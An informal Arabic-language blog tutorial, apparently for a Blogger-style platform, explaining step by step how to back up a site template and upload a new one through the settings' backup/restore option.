تم ستضهر لك نافدة توجد بها كتير من الاعدادات
اخر القالب كما في الصورة
اسفله
وبعدها ستظهر لك هده النافدة
تم انظر اعلى اليسار وستجد ايقونة نسخ احتياطي/استعادة
اظغط عليها وستظهر لك هده النافدة
تم اظغط كما هو موضح في الصورة تنزيل النمودج الكامل
وبعدها ستأتيك هده النافدة
قم بوضع المؤشر عند الخانة رقم 1 حفظ الملف
تم قم برقم 2 موافق
وها نحن انتهينا من اخد نسخة احتياطية بنجاح
والان ناتي الى شرح وطريقة رفع القالب
سنتبع الطرق اعلاه حتى نصل الى المرحلة الاخيرة كما ترون في الصورة
لن نضغط هده المرة على تنزيل
سوف نضغط هده المرة على تصفح الخيار رقم 1
وبعدها حدد القالب الدي تريد رفعه من جهازك الكمبيوتر
تم اضغط على تحميل الخيار رقم 2
تم اضغط على تحميل الخيار رقم 2
والى هنا اكون قد انتهيت من هدا الشرح والى شرح اخر
وموضوع اخر
ارجو ان اكون وفقت في شرحي هدا
كما ارجو منكم انتقاداتكم وتشجيعاتكم لي...
Sample Links
[ لوحة التحكم شبكة اجيال السلام]
